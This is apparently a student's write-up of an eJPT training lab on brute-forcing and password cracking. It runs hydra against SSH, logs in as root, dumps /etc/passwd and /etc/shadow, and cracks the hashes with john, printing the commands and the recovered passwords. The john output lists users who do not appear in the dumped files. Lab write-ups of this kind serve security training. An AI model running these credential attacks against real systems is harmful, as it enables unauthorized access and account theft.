

# Bruteforce and Password Cracking

First, we need to find the ip address of the active host. For that, let's first find our ip.

```
hades@Asus:~/Desktop/eJPT PTS/Module 3 - Basics/Lab 6 - Bruteforce and Password Cracking$ sudo ifconfig
[sudo] password for hades:
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
    inet 192.168.1.7 netmask 255.255.255.0 broadcast 192.168.1.255
    inet6 fe80::e7c1:2e43:eb57:cbd2 prefixlen 64 scopeid 0<link>
    ether 00:0e:c6:8a:55:c1 txqueuelen 1000 (Ethernet)
    RX packets 64094 bytes 59888336 (57.1 MiB)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 39024 bytes 11797462 (11.2 MiB)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
    inet 127.0.0.1 netmask 255.0.0.0
    inet6 ::1 prefixlen 128 scopeid 0<host>
    loop txqueuelen 1000 (Local Loopback)
    RX packets 14 bytes 630 (630.0 B)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 14 bytes 630 (630.0 B)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

tap0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
    inet 192.168.99.100 netmask 255.255.255.0 broadcast 192.168.99.255
    inet6 fe80::20cd:92ff:feaf:f4a2 prefixlen 64 scopeid 0<link>
    ether 22:cd:92:af:f4:a2 txqueuelen 100 (Ethernet)
    RX packets 0 bytes 0 (0.0 B)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 20 bytes 2112 (2.0 KiB)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
```

We can find that the network address is 192.168.99.0/24 from this. Let's do a ping sweep and find any alive hosts.

```
hades@Asus:~/Desktop/eJPT PTS/Module 3 - Basics/Lab 6 - Bruteforce and Password Cracking$ fping -a -g 192.168.99.0/24
192.168.99.22
192.168.99.100
```

We found our host. Let's do an nmap scan to check for open ports.

```
hades@Asus:~/Desktop/eJPT PTS/Module 3 - Basics/Lab 6 - Bruteforce and Password Cracking$ sudo nmap -sC -sV 192.168.99.22
Starting Nmap 7.80 ( https://nmap.org ) at 2021-06-17 12:02 IST
Nmap scan report for 192.168.99.22
Host is up (0.50s latency).
Not shown: 998 closed ports
PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 6.0p1 Debian 4+deb7u2 (protocol 2.0)
|_ ssh-hostkey:
|   1024 c6:52:37:cf:4a:a9:1d:a9:6b:75:27:2e:6b:19:72:71 (DSA)
|_  2048 99:c5:46:8a:39:40:96:ea:58:4b:79:0d:c4:a6:a9:06 (RSA)
|_  256 4f:bb:ad:d8:9f:2e:c1:5c:35:a9:a6:5c:98:fb:da:cf (ECDSA)
23/tcp    open  telnet   Linux telnetd
MAC Address: 00:50:56:A0:17:FB (VMware)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

We know ssh and telnet is open. We can use hydra to find valid credentials for both services.

```
hades@Asus:~/Desktop/eJPT PTS/Module 3 - Basics/Lab 6 - Bruteforce and Password Cracking$ hydra 192.168.99.22 ssh -l root -P /usr/share/
wordlists/SecLists/Passwords/Leaked-Databases/rockyou-15.txt
Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2021-06-17 12:39:35
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 249 login tries (l:1/p:249), ~16 tries per task
[DATA] attacking ssh://192.168.99.22:22/
[STATUS] 142.00 tries/min, 142 tries in 00:01h, 100 to do in 00:01h, 16 active
[22][ssh] host: 192.168.99.22 login: root password: 123abc
1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 1 final worker threads did not complete until end.
[ERROR] 1 target did not resolve or could not be connected
[ERROR] 0 targets did not complete
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2021-06-17 12:41:25
```

We found ssh credentials. Let's log in.

```
hades@Asus:~/Desktop/eJPT PTS/Module 3 - Basics/Lab 6 - Bruteforce and Password Cracking$ ssh root@192.168.99.22
root@192.168.99.22's password:
Linux telnetserver 3.2.0-4-amd64 #1 SMP Debian 3.2.60-1+deb7u3 x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Thu Feb 12 03:39:38 2015 from 192.168.99.16
root@telnetserver:~#
```

Now, we can access the /etc/passwd file.

```
root@telnetserver:~# cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
```

We can also get the /etc/shadow file.

```
root@telnetserver:~# cat /etc/shadow
root:$6$NMfSi/bG$y9j8uMu4glpLudMRvzznUZ5h30jlobtAJGZYRaa64pdKy3i1WLTnmPPWUxfPdZwJKReFPU/zBo8HRpD.RAkRG1:16475:0:99999:7:::
daemon:*:16315:0:99999:7:::
bin:*:16315:0:99999:7:::
sys:*:16315:0:99999:7:::
sync:*:16315:0:99999:7:::
games:*:16315:0:99999:7:::
man:*:16315:0:99999:7:::
lp:*:16315:0:99999:7:::
mail:$6$jLhDRYSM$MjPM2mmM1khh8l0taxORP7oNn4jmwHAOLWZij5DacV25Hzj1ryykbobxGlprlgaCXg/PGV2Po34JF4HgPv8roQ.:16470:0:99999:7:::
news:$6$7pnXYnUf$F7t6t4A6rQf2z/ycnPuEdzMH9RGSW00FL420eKvp/s/SK3KaD6EM/gDNzhL9YFCth17JVavBa8/nJCxX3XZW0:16470:0:99999:7:::
uucp:*:16315:0:99999:7:::
proxy:*:16315:0:99999:7:::
www-data:*:16315:0:99999:7:::
backup:*:16315:0:99999:7:::
list:*:16315:0:99999:7:::
irc:*:16315:0:99999:7:::
```

I copied both of these files to my local machine. Let's unshadow the passwd file and save it to a hashes file.

```
hades@Asus:~/Desktop/eJPT PTS/Module 3 - Basics/Lab 6 - Bruteforce and Password Cracking$ sudo unshadow passwd shadow > hashes
```

We can check the content of hashes file.

```
hades@Asus:~/Desktop/eJPT PTS/Module 3 - Basics/Lab 6 - Bruteforce and Password Cracking$ cat hashes
root:$6$NMfSi/bG$y9j8uMu4glpLudMRvzznUZ5h30jlobtAJGZYRaa64pdKy3i1WLTnmPPWUxfPdZwJKReFPU/zBo8HRpD.RAkRG1:0:0:root:/root:/bin/bash
daemon:*:1:1:daemon:/usr/sbin:/bin/sh
bin:*:2:2:bin:/bin:/bin/sh
sys:*:3:3:sys:/dev:/bin/sh
sync:*:4:65534:sync:/bin:/bin/sync
games:*:5:60:games:/usr/games:/bin/sh
man:*:6:12:man:/var/cache/man:/bin/sh
lp:*:7:7:lp:/var/spool/lpd:/bin/sh
mail:$6$jLhDRYSM$MjPM2mmM1khh8l0taxORP7oNn4jmwHAOLWZij5DacV25Hzj1ryykbobxGlprlgaCXg/PGV2Po34JF4HgPv8roQ.:8:8:mail:/var/mail:/bin/sh
news:$6$7pnXYnUf$F7t6t4A6rQf2z/ycnPuEdzMH9RGSW00FL420eKvp/s/SK3KaD6EM/gDNzhL9YFCth17JVavBa8/nJCxX3XZW0:9:9:news:/var/spool/news:/bin/sh
uucp:*:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:*:13:13:proxy:/bin:/bin/sh
www-data:*:33:33:www-data:/var/www:/bin/sh
backup:*:34:34:backup:/var/backups:/bin/sh
list:*:38:38:Mail Manager:/var/list:/bin/sh
```

Now, let's use john to crack these hashes.

```
hades@Asus:~/Desktop/eJPT PTS/Module 3 - Basics/Lab 6 - Bruteforce and Password Cracking$ sudo john --wordlist=/usr/share/john/password.  
lst hashes  
Using default input encoding: UTF-8  
Loaded 99 password hashes with 99 different salts (sha512crypt, crypt(3) $6$ [SHAS12 256/256 AVX2 4x])  
Cost 1 (iteration count) is 5000 for all loaded hashes  
Will run 8 OpenMP threads  
Press 'q' or Ctrl-C to abort, almost any other key for status  
valerie      (michael)  
killer       (sam)  
bruce        (stefan)  
firebird     (jeff)  
654321       (guest)  
jaguar       (larry)  
tuesday      (jonathan)  
nautica      (nobody)  
raymond      (josh)  
houston      (rob)  
integra      (greg)  
123abc       (root)  
1212        (majordomo)  
secret       (sysadmin)
```

We got almost all of the hashes cracked using John's password.lst wordlist.